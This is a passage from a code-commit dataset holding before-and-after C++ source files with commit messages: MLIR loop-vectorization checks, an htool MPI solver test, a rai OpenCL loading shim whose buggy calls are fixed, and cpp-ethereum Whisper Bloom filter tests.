vectorizable.\n \/\/ TODO(ntv): ponder whether we want to be more general here.\n bool vector = load ? isVectorElement(load) : isVectorElement(store);\n if (vector) {\n return false;\n }\n if (!isVectorizableStmt(loop, *op)) {\n return false;\n }\n }\n return true;\n}\n\nbool mlir::isVectorizableLoopAlongFastestVaryingMemRefDim(\n const ForStmt &loop, unsigned fastestVaryingDim) {\n VectorizableStmtFun fun(\n [fastestVaryingDim](const ForStmt &loop, const OperationStmt &op) {\n auto load = op.dyn_cast<LoadOp>();\n auto store = op.dyn_cast<StoreOp>();\n return load ? isContiguousAccess(loop, *load, fastestVaryingDim)\n : isContiguousAccess(loop, *store, fastestVaryingDim);\n });\n return isVectorizableLoopWithCond(loop, fun);\n}\n\nbool mlir::isVectorizableLoop(const ForStmt &loop) {\n VectorizableStmtFun fun(\n \/\/ TODO: implement me\n [](const ForStmt &loop, const OperationStmt &op) { return true; });\n return isVectorizableLoopWithCond(loop, fun);\n}\n\n\/\/\/ Checks whether SSA dominance would be violated if a for stmt's body\n\/\/\/ statements are shifted by the specified shifts. This method checks if a\n\/\/\/ 'def' and all its uses have the same shift factor.\n\/\/ TODO(mlir-team): extend this to check for memory-based dependence\n\/\/ violation when we have the support.\nbool mlir::isStmtwiseShiftValid(const ForStmt &forStmt,\n ArrayRef<uint64_t> shifts) {\n auto *forBody = forStmt.getBody();\n assert(shifts.size() == forBody->getStatements().size());\n unsigned s = 0;\n for (const auto &stmt : *forBody) {\n \/\/ A for or if stmt does not produce any def\/results (that are used\n \/\/ outside).\n if (const auto *opStmt = dyn_cast<OperationStmt>(&stmt)) {\n for (unsigned i = 0, e = opStmt->getNumResults(); i < e; ++i) {\n const MLValue *result = opStmt->getResult(i);\n for (const StmtOperand &use : result->getUses()) {\n \/\/ If an ancestor statement doesn't lie in the block of forStmt, there\n \/\/ is no shift to check.\n \/\/ This is a naive way. If performance becomes an issue, a map can\n \/\/ be used to store 'shifts' - to look up the shift for a statement in\n \/\/ constant time.\n if (auto *ancStmt = forBody->findAncestorStmtInBlock(*use.getOwner()))\n if (shifts[s] != shifts[forBody->findStmtPosInBlock(*ancStmt)])\n return false;\n }\n }\n }\n s++;\n }\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <htool\/point.hpp>\n#include <htool\/wrapper_hpddm.hpp>\n#include <htool\/fullACA.hpp>\n#include <htool\/hmatrix.hpp>\n#include <htool\/geometry.hpp>\n\n\nusing namespace std;\nusing namespace htool;\n\n\n\nint main(int argc, char const *argv[]){\n\n\t\/\/ Input file\n\tif ( argc < 5 ){ \/\/ argc should be 5 or more for correct execution\n \/\/ We print argv[0] assuming it is the program name\n cout<<\"usage: \"<< argv[0] <<\" <matrixfile> <rhsfile> <meshfile> <solutionfile>\\n\";\n\t\treturn 1;\n\t}\n\n\t\/\/ Initialize the MPI environment\n\tMPI_Init(NULL, NULL);\n\n\t\/\/ Get the number of processes\n\tint size;\n\tMPI_Comm_size(MPI_COMM_WORLD, &size);\n\n\t\/\/ Get the rank of the process\n\tint rank;\n\tMPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n\t\/\/\n\tbool test =0;\n\tSetNdofPerElt(1);\n\tSetEpsilon(1e-6);\n\tSetEta(0.1);\n\tSetMinClusterSize(1);\n\n\t\/\/ HPDDM verbosity\n\tHPDDM::Option& opt = *HPDDM::Option::get();\n\topt.parse(argc, argv, rank == 0);\n\tif(rank != 0)\n\t\topt.remove(\"verbosity\");\n\n\t\/\/ Matrix\n\tMatrix<complex<double>> A;\n\tA.bytes_to_matrix(argv[1]);\n\tint n = A.nb_rows();\n\n\t\/\/ Right-hand side\n\tstd::vector<complex<double>> f_global(n,1);\n\tbytes_to_vector(f_global,argv[2]);\n\n\t\/\/ Mesh\n\tstd::vector<R3> p;\n\tLoadGMSHMesh(p,argv[3]);\n\n\t\/\/ Hmatrix\n\tstd::vector<int> tab(n);\n\tfor (int i=0;i<n;i++){\n\t\ttab[i]=i;\n\t}\n\tHMatrix<fullACA,complex<double>> HA(A,p,tab);\n\n\t\/\/ Global vectors\n\tstd::vector<complex<double>> x_global(n,0),x_ref(n);\n\tbytes_to_vector(x_ref,argv[4]);\n\n\t\/\/ Local vectors\n\tint n_local= HA.get_local_size_cluster();\n\tconst std::vector<std::vector<int>>& MasterClusters = HA.get_MasterClusters();\n\tstd::vector<complex<double>> x_local(n_local,0),f_local(n_local,1);\n\tfor (int i=0;i<n_local;i++){\n\t\tf_local[i]=f_global[MasterClusters[rank][i]];\n\t}\n\n\t\/\/ Solve\n HPDDMOperator<fullACA,complex<double>> A_HPDDM(HA,A);\n complex<double>* const rhs = &(f_local[0]);\n complex<double>* x = &(x_local[0]);\n HPDDM::IterativeMethod::solve(A_HPDDM, rhs, x, 1,HA.get_comm());\n\n\n\t\/\/ Local to Global\n\tstd::vector<complex<double>> rcv(n);\n\n\tstd::vector<int> recvcounts(size);\n\tstd::vector<int> displs(size);\n\n\tdispls[0] = 0;\n\n\tfor (int i=0; i<size; i++) {\n\t\trecvcounts[i] = MasterClusters[i].size();\n\t\tif (i > 0)\n\t\t\tdispls[i] = displs[i-1] + recvcounts[i-1];\n\t}\n\n\n\tMPI_Allgatherv(&(x_local.front()), recvcounts[rank], MPI_DOUBLE_COMPLEX, &(rcv.front()), &(recvcounts.front()), &(displs.front()), MPI_DOUBLE_COMPLEX, HA.get_comm());\n\n\tfor (int i=0; i<size; i++)\n\tfor (int j=0; j< MasterClusters[i].size(); j++)\n\t\tx_global[MasterClusters[i][j]] = rcv[displs[i]+j];\n\n\t\/\/ Error on inversion\n\tdouble inv_error2=norm2(f_global-A*x_global)\/norm2(f_global);\n\tdouble error2 = norm2(x_ref-x_global)\/norm2(x_ref);\n if (rank==0){\n cout <<\"error on inversion : \"<<inv_error2 << endl;\n\t\tcout <<\"error on solution : \"<<error2 << endl;\n }\n\n\ttest = test || !(inv_error2<opt.val(\"tol\",1e-6));\n\ttest = test || !(error2<1e-5);\n\n\t\/\/Finalize the MPI environment.\n\tMPI_Finalize();\n\n\treturn test;\n}\n<commit_msg>working on hpddm solve<commit_after>#include <htool\/point.hpp>\n#include <htool\/wrapper_hpddm.hpp>\n#include <htool\/fullACA.hpp>\n#include <htool\/hmatrix.hpp>\n#include <htool\/geometry.hpp>\n\n\nusing namespace std;\nusing namespace htool;\n\n\n\nint main(int argc, char const *argv[]){\n\n\t\/\/ Input file\n\tif ( argc < 5 ){ \/\/ argc should be 5 or more for correct execution\n \/\/ We print argv[0] assuming it is the program name\n cout<<\"usage: \"<< argv[0] <<\" <matrixfile> <rhsfile> <meshfile> <solutionfile>\\n\";\n\t\treturn 1;\n\t}\n\n\t\/\/ Initialize the MPI environment\n\tMPI_Init(NULL, NULL);\n\n\t\/\/ Get the number of processes\n\tint size;\n\tMPI_Comm_size(MPI_COMM_WORLD, &size);\n\n\t\/\/ Get the rank of the process\n\tint rank;\n\tMPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n\t\/\/\n\tbool test =0;\n\tSetNdofPerElt(1);\n\tSetEpsilon(1e-6);\n\tSetEta(0.1);\n\tSetMinClusterSize(1);\n\n\t\/\/ HPDDM verbosity\n\tHPDDM::Option& opt = *HPDDM::Option::get();\n\topt.parse(argc, argv, rank == 0);\n\tif(rank != 0)\n\t\topt.remove(\"verbosity\");\n\n\t\/\/ Matrix\n\tMatrix<complex<double>> A;\n\tA.bytes_to_matrix(argv[1]);\n\tint n = A.nb_rows();\n\n\t\/\/ Right-hand side\n\tstd::vector<complex<double>> f_global(n,1);\n\tbytes_to_vector(f_global,argv[2]);\n\n\t\/\/ Mesh\n\tstd::vector<R3> p;\n\tLoadGMSHMesh(p,argv[3]);\n\n\t\/\/ Hmatrix\n\tstd::vector<int> tab(n);\n\tfor (int i=0;i<n;i++){\n\t\ttab[i]=i;\n\t}\n\tHMatrix<fullACA,complex<double>> HA(A,p,tab);\n\n\t\/\/ Global vectors\n\tstd::vector<complex<double>> x_global(n,0),x_ref(n);\n\tbytes_to_vector(x_ref,argv[4]);\n\n\t\/\/ Local vectors\n\tint n_local= HA.get_local_size_cluster();\n\tconst std::vector<std::vector<int>>& MasterClusters = HA.get_MasterClusters();\n\tstd::vector<complex<double>> x_local(n_local,0),f_local(n_local,1);\n\tfor (int i=0;i<n_local;i++){\n\t\tf_local[i]=f_global[MasterClusters[rank][i]];\n\t}\n\n\t\/\/ Solve\n\tsolve(HA,x_local,f_local);\n \/\/ HPDDMOperator<fullACA,complex<double>> A_HPDDM(HA,A);\n \/\/ complex<double>* const rhs = &(f_local[0]);\n \/\/ complex<double>* x = &(x_local[0]);\n \/\/ HPDDM::IterativeMethod::solve(A_HPDDM, rhs, x, 1,HA.get_comm());\n\n\n\t\/\/ Local to Global\n\tstd::vector<complex<double>> rcv(n);\n\n\tstd::vector<int> recvcounts(size);\n\tstd::vector<int> displs(size);\n\n\tdispls[0] = 0;\n\n\tfor (int i=0; i<size; i++) {\n\t\trecvcounts[i] = MasterClusters[i].size();\n\t\tif (i > 0)\n\t\t\tdispls[i] = displs[i-1] + recvcounts[i-1];\n\t}\n\n\n\tMPI_Allgatherv(&(x_local.front()), recvcounts[rank], MPI_DOUBLE_COMPLEX, &(rcv.front()), &(recvcounts.front()), &(displs.front()), MPI_DOUBLE_COMPLEX, HA.get_comm());\n\n\tfor (int i=0; i<size; i++)\n\tfor (int j=0; j< MasterClusters[i].size(); j++)\n\t\tx_global[MasterClusters[i][j]] = rcv[displs[i]+j];\n\n\t\/\/ Error on inversion\n\tdouble inv_error2=norm2(f_global-A*x_global)\/norm2(f_global);\n\tdouble error2 = norm2(x_ref-x_global)\/norm2(x_ref);\n if (rank==0){\n cout <<\"error on inversion : \"<<inv_error2 << endl;\n\t\tcout <<\"error on solution : \"<<error2 << endl;\n }\n\n\ttest = test || !(inv_error2<opt.val(\"tol\",1e-6));\n\ttest = test || !(error2<1e-5);\n\n\t\/\/Finalize the MPI environment.\n\tMPI_Finalize();\n\n\treturn test;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <rai\/node\/openclwork.hpp>\n\n#include <dlfcn.h>\n\nnamespace\n{\nclass opencl_initializer\n{\npublic:\n\topencl_initializer ()\n\t{\n\t\topencl_library = dlopen (\"libOpenCL.so\", RTLD_NOW);\n\t\tif (opencl_library != nullptr)\n\t\t{\n\t\t\tclGetPlatformIDs = reinterpret_cast <decltype (clGetPlatformIDs)> (dlsym (opencl_library, \"clGetPlatformIDs\"));\n\t\t}\n\t}\n\t~opencl_initializer ()\n\t{\n\t\tdlclose (opencl_library);\n\t}\n\tvoid * opencl_library;\n\tcl_int (* clGetPlatformIDs) (cl_uint, cl_platform_id *, cl_uint *);\n\tcl_int (* clGetPlatformInfo) (cl_platform_id, cl_platform_info, size_t, void *, size_t *);\n\tcl_int (* clGetDeviceIDs) (cl_platform_id, cl_device_type, cl_uint, cl_device_id *, cl_uint *);\n\tcl_int (* clGetDeviceInfo) (cl_device_id, cl_device_info, size_t, void *, size_t *);\n\tcl_context (* clCreateContext) (cl_context_properties const *, cl_uint, cl_device_id const *, void (*)(const char *, const void *, size_t, void *), void *, cl_int *);\n\tcl_command_queue (* clCreateCommandQueue) (cl_context, cl_device_id, cl_command_queue_properties, cl_int *);\n\tcl_mem (* clCreateBuffer) (cl_context, cl_mem_flags, size_t, void *, cl_int *);\n\tcl_program (* clCreateProgramWithSource) (cl_context, cl_uint, char const **, size_t const *, cl_int *);\n\tcl_int (* clBuildProgram) (cl_program, cl_uint, cl_device_id const *, char const *, void (*)(cl_program, void *), void *);\n\tcl_kernel (* clCreateKernel) (cl_program, char const *, cl_int *);\n\tcl_int (* clSetKernelArg) (cl_kernel, cl_uint, size_t, void const *);\n\tcl_int (* clReleaseKernel) (cl_kernel);\n\tcl_int (* clReleaseProgram) (cl_program);\n\tcl_int (* clReleaseContext) (cl_context);\n\tcl_int (* clEnqueueWriteBuffer) (cl_command_queue, cl_mem, cl_bool, size_t, size_t, void const *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clEnqueueNDRangeKernel) (cl_command_queue, cl_kernel, cl_uint, size_t const *, size_t const *, size_t const *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clEnqueueReadBuffer) (cl_command_queue, cl_mem, cl_bool, size_t, size_t, void *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clFinish) (cl_command_queue);\n\tstatic opencl_initializer initializer;\n};\n}\n\nopencl_initializer opencl_initializer::initializer;\n\ncl_int clGetPlatformIDs (cl_uint num_entries, cl_platform_id * platforms, cl_uint * num_platforms)\n{\n\tcl_int result;\n\tif (opencl_initializer::initializer.opencl_library != nullptr)\n\t{\n\t\tresult = opencl_initializer::initializer.clGetPlatformIDs (num_entries, platforms, num_platforms);\n\t}\n\telse\n\t{\n\t\tresult = CL_SUCCESS;\n\t\t*num_platforms = 0;\n\t}\n\treturn result;\n}\n\ncl_int clGetPlatformInfo (cl_platform_id platform, cl_platform_info param_name, size_t param_value_size, void * param_value, size_t * param_value_size_ret)\n{\n\treturn opencl_initializer::initializer::clGetPlatformInfo (platform, param_name, param_value_size, param_value, param_value_size_ret);\n}\n\ncl_int clGetDeviceIDs (cl_platform_id platform, cl_device_type device_type, cl_uint num_entries, cl_device_id * devices, cl_uint * num_devices)\n{\n\treturn opencl_initializer::initializer::clGetDeviceIDs (platform, device_type, num_entries, devices, num_devices);\n}\n\ncl_int clGetDeviceInfo (cl_device_id device, cl_device_info param_name, size_t param_value_size, void * param_value, size_t * param_value_size_ret)\n{\n\treturn opencl_initializer::initializer::clGetDeviceInfo (device, param_name, param_value_size, param_value, param_value_size_ret);\n}\n\ncl_context clCreateContext (cl_context_properties const * properties, cl_uint num_devices, cl_device_id const * devices, void (* pfn_notify)(const char *, const void *, size_t, void *), void * user_data, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer::clCreateContext (properties, num_devices, devices, pfn_notify, user_data, errorcode_ret);\n}\n\ncl_command_queue clCreateCommandQueue (cl_context context, cl_device_id device, cl_command_queue_properties properties, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer::clCreateCommandQueue (context, device, properties, errorcode_ret);\n}\n\ncl_mem clCreateBuffer (cl_context context, cl_mem_flags flags, size_t size, void * host_ptr, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer::clCreateBuffer (context, flags, size, host_ptr, errorcode_ret);\n}\n\ncl_program clCreateProgramWithSource (cl_context context, cl_uint count, char const ** strings, size_t const * lengths, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer::clCreateProgramWithSource (context, count, strings, lengths, errorcode_ret);\n}\n\ncl_int clBuildProgram (cl_program program, cl_uint num_devices, cl_device_id const * device_list, char const * options, void (*pfn_notify) (cl_program , void *), void * user_data)\n{\n\treturn opencl_initializer::initializer::clBuildProgram (program, num_devices, device_list, options, pfn_notify, user_data);\n}\n\ncl_kernel clCreateKernel (cl_program program, char const * kernel_name, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer::clCreateKernel (program, kernel_name, errorcode_ret);\n}\n\ncl_int clSetKernelArg (cl_kernel kernel, cl_uint arg_index, size_t arg_size, void const * arg_value)\n{\n\treturn opencl_initializer::initializer::clSetKernelArg (kernel, arg_index, arg_size, arg_value);\n}\n\ncl_int clReleaseKernel (cl_kernel kernel)\n{\n\treturn opencl_initializer::initializer::clReleaseKernel (kernel);\n}\n\ncl_int clReleaseProgram (cl_program program)\n{\n\treturn opencl_initializer::initializer::clReleaseProgram (program);\n}\n\ncl_int clReleaseContext (cl_context context)\n{\n\treturn opencl_initializer::initializer::clReleaseContext (context);\n}\n\ncl_int clEnqueueWriteBuffer (cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_write, size_t offset, size_t size, void const * ptr, cl_uint num_events_in_wait_list, cl_event const * event_wait_list,cl_event * event)\n{\n\treturn opencl_initializer::initializer::clEnqueueWriteBuffer (command_queue, buffer, blocking_write, offset, size, ptr, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clEnqueueNDRangeKernel (cl_command_queue command_queue, cl_kernel kernel, cl_uint work_dim, size_t const * global_work_offset, size_t const * global_work_size, size_t const * local_work_size, cl_uint num_events_in_wait_list, cl_event const * event_wait_list, cl_event * event)\n{\n\treturn opencl_initializer::initializer::clEnqueueNDRangeKernel (command_queue, kernel, work_dim, global_work_offset, global_work_size, local_work_size, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clEnqueueReadBuffer (cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_read, size_t offset, size_t size, void * ptr, cl_uint num_events_in_wait_list, cl_event const * event_wait_list, cl_event *event)\n{\n\treturn opencl_initializer::initializer::clEnqueueReadBuffer (command_queue, buffer, blocking_read, offset, size, ptr, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clFinish (cl_command_queue command_queue)\n{\n\treturn opencl_initializer::initializer::clFinish (command_queue);\n}<commit_msg>Fixing function calls.<commit_after>#include <rai\/node\/openclwork.hpp>\n\n#include <dlfcn.h>\n\nnamespace\n{\nclass opencl_initializer\n{\npublic:\n\topencl_initializer ()\n\t{\n\t\topencl_library = dlopen (\"libOpenCL.so\", RTLD_NOW);\n\t\tif (opencl_library != nullptr)\n\t\t{\n\t\t\tclGetPlatformIDs = reinterpret_cast <decltype (clGetPlatformIDs)> (dlsym (opencl_library, \"clGetPlatformIDs\"));\n\t\t}\n\t}\n\t~opencl_initializer ()\n\t{\n\t\tdlclose (opencl_library);\n\t}\n\tvoid * opencl_library;\n\tcl_int (* clGetPlatformIDs) (cl_uint, cl_platform_id *, cl_uint *);\n\tcl_int (* clGetPlatformInfo) (cl_platform_id, cl_platform_info, size_t, void *, size_t *);\n\tcl_int (* clGetDeviceIDs) (cl_platform_id, cl_device_type, cl_uint, cl_device_id *, cl_uint *);\n\tcl_int (* clGetDeviceInfo) (cl_device_id, cl_device_info, size_t, void *, size_t *);\n\tcl_context (* clCreateContext) (cl_context_properties const *, cl_uint, cl_device_id const *, void (*)(const char *, const void *, size_t, void *), void *, cl_int *);\n\tcl_command_queue (* clCreateCommandQueue) (cl_context, cl_device_id, cl_command_queue_properties, cl_int *);\n\tcl_mem (* clCreateBuffer) (cl_context, cl_mem_flags, size_t, void *, cl_int *);\n\tcl_program (* clCreateProgramWithSource) (cl_context, cl_uint, char const **, size_t const *, cl_int *);\n\tcl_int (* clBuildProgram) (cl_program, cl_uint, cl_device_id const *, char const *, void (*)(cl_program, void *), void *);\n\tcl_kernel (* clCreateKernel) (cl_program, char const *, cl_int *);\n\tcl_int (* clSetKernelArg) (cl_kernel, cl_uint, size_t, void const *);\n\tcl_int (* clReleaseKernel) (cl_kernel);\n\tcl_int (* clReleaseProgram) (cl_program);\n\tcl_int (* clReleaseContext) (cl_context);\n\tcl_int (* clEnqueueWriteBuffer) (cl_command_queue, cl_mem, cl_bool, size_t, size_t, void const *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clEnqueueNDRangeKernel) (cl_command_queue, cl_kernel, cl_uint, size_t const *, size_t const *, size_t const *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clEnqueueReadBuffer) (cl_command_queue, cl_mem, cl_bool, size_t, size_t, void *, cl_uint, cl_event const *, cl_event *);\n\tcl_int (* clFinish) (cl_command_queue);\n\tstatic opencl_initializer initializer;\n};\n}\n\nopencl_initializer opencl_initializer::initializer;\n\ncl_int clGetPlatformIDs (cl_uint num_entries, cl_platform_id * platforms, cl_uint * num_platforms)\n{\n\tcl_int result;\n\tif (opencl_initializer::initializer.opencl_library != nullptr)\n\t{\n\t\tresult = opencl_initializer::initializer.clGetPlatformIDs (num_entries, platforms, num_platforms);\n\t}\n\telse\n\t{\n\t\tresult = CL_SUCCESS;\n\t\t*num_platforms = 0;\n\t}\n\treturn result;\n}\n\ncl_int clGetPlatformInfo (cl_platform_id platform, cl_platform_info param_name, size_t param_value_size, void * param_value, size_t * param_value_size_ret)\n{\n\treturn opencl_initializer::initializer.clGetPlatformInfo (platform, param_name, param_value_size, param_value, param_value_size_ret);\n}\n\ncl_int clGetDeviceIDs (cl_platform_id platform, cl_device_type device_type, cl_uint num_entries, cl_device_id * devices, cl_uint * num_devices)\n{\n\treturn opencl_initializer::initializer.clGetDeviceIDs (platform, device_type, num_entries, devices, num_devices);\n}\n\ncl_int clGetDeviceInfo (cl_device_id device, cl_device_info param_name, size_t param_value_size, void * param_value, size_t * param_value_size_ret)\n{\n\treturn opencl_initializer::initializer.clGetDeviceInfo (device, param_name, param_value_size, param_value, param_value_size_ret);\n}\n\ncl_context clCreateContext (cl_context_properties const * properties, cl_uint num_devices, cl_device_id const * devices, void (* pfn_notify)(const char *, const void *, size_t, void *), void * user_data, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer.clCreateContext (properties, num_devices, devices, pfn_notify, user_data, errcode_ret);\n}\n\ncl_command_queue clCreateCommandQueue (cl_context context, cl_device_id device, cl_command_queue_properties properties, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer.clCreateCommandQueue (context, device, properties, errcode_ret);\n}\n\ncl_mem clCreateBuffer (cl_context context, cl_mem_flags flags, size_t size, void * host_ptr, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer.clCreateBuffer (context, flags, size, host_ptr, errcode_ret);\n}\n\ncl_program clCreateProgramWithSource (cl_context context, cl_uint count, char const ** strings, size_t const * lengths, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer.clCreateProgramWithSource (context, count, strings, lengths, errcode_ret);\n}\n\ncl_int clBuildProgram (cl_program program, cl_uint num_devices, cl_device_id const * device_list, char const * options, void (*pfn_notify) (cl_program , void *), void * user_data)\n{\n\treturn opencl_initializer::initializer.clBuildProgram (program, num_devices, device_list, options, pfn_notify, user_data);\n}\n\ncl_kernel clCreateKernel (cl_program program, char const * kernel_name, cl_int * errcode_ret)\n{\n\treturn opencl_initializer::initializer.clCreateKernel (program, kernel_name, errcode_ret);\n}\n\ncl_int clSetKernelArg (cl_kernel kernel, cl_uint arg_index, size_t arg_size, void const * arg_value)\n{\n\treturn opencl_initializer::initializer.clSetKernelArg (kernel, arg_index, arg_size, arg_value);\n}\n\ncl_int clReleaseKernel (cl_kernel kernel)\n{\n\treturn opencl_initializer::initializer.clReleaseKernel (kernel);\n}\n\ncl_int clReleaseProgram (cl_program program)\n{\n\treturn opencl_initializer::initializer.clReleaseProgram (program);\n}\n\ncl_int clReleaseContext (cl_context context)\n{\n\treturn opencl_initializer::initializer.clReleaseContext (context);\n}\n\ncl_int clEnqueueWriteBuffer (cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_write, size_t offset, size_t size, void const * ptr, cl_uint num_events_in_wait_list, cl_event const * event_wait_list,cl_event * event)\n{\n\treturn opencl_initializer::initializer.clEnqueueWriteBuffer (command_queue, buffer, blocking_write, offset, size, ptr, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clEnqueueNDRangeKernel (cl_command_queue command_queue, cl_kernel kernel, cl_uint work_dim, size_t const * global_work_offset, size_t const * global_work_size, size_t const * local_work_size, cl_uint num_events_in_wait_list, cl_event const * event_wait_list, cl_event * event)\n{\n\treturn opencl_initializer::initializer.clEnqueueNDRangeKernel (command_queue, kernel, work_dim, global_work_offset, global_work_size, local_work_size, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clEnqueueReadBuffer (cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_read, size_t offset, size_t size, void * ptr, cl_uint num_events_in_wait_list, cl_event const * event_wait_list, cl_event *event)\n{\n\treturn opencl_initializer::initializer.clEnqueueReadBuffer (command_queue, buffer, blocking_read, offset, size, ptr, num_events_in_wait_list, event_wait_list, event);\n}\n\ncl_int clFinish (cl_command_queue command_queue)\n{\n\treturn opencl_initializer::initializer.clFinish (command_queue);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of cpp-ethereum.\n\ncpp-ethereum is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\ncpp-ethereum is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperMessage.cpp\n* @author Vladislav Gluhovsky <vlad@ethdev.com>\n* @date June 2015\n*\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/SHA3.h>\n#include <libwhisper\/BloomFilter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::shh;\n\nvoid testAddNonExisting(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n\t_f.addRaw(_h);\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n}\n\nvoid testRemoveExisting(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n\t_f.removeRaw(_h);\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n}\n\nvoid testAddNonExistingBloom(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n\t_f.addBloom(_h);\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n}\n\nvoid testRemoveExistingBloom(TopicBloomFilter& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n\t_f.removeBloom(_h);\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n}\n\nBOOST_AUTO_TEST_SUITE(bloomFilter)\n\nBOOST_AUTO_TEST_CASE(bloomFilterRandom)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter matching...\";\n\n\tTopicBloomFilter f;\n\tvector<AbridgedTopic> vec;\n\tTopic x(0xDEADBEEF);\n\tint const c_rounds = 4;\n\n\tfor (int i = 0; i < c_rounds; ++i, x = sha3(x))\n\t\tvec.push_back(abridge(x));\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExistingBloom(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExistingBloom(f, vec[i]);\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRaw)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Raw Bloom matching...\";\n\n\tTopicBloomFilter f;\n\n\tAbridgedTopic b00000001(0x01);\n\tAbridgedTopic b00010000(0x10);\n\tAbridgedTopic b00011000(0x18);\n\tAbridgedTopic b00110000(0x30);\n\tAbridgedTopic b00110010(0x32);\n\tAbridgedTopic b00111000(0x38);\n\tAbridgedTopic b00000110(0x06);\n\tAbridgedTopic b00110110(0x36);\n\tAbridgedTopic b00110111(0x37);\n\n\ttestAddNonExisting(f, b00000001);\n\ttestAddNonExisting(f, b00010000);\t\n\ttestAddNonExisting(f, b00011000);\t\n\ttestAddNonExisting(f, b00110000);\n\tBOOST_REQUIRE(f.contains(b00111000));\t\n\ttestAddNonExisting(f, b00110010);\t\n\ttestAddNonExisting(f, b00000110);\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00010000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00111000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.addRaw(b00000001);\n\tBOOST_REQUIRE(f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_R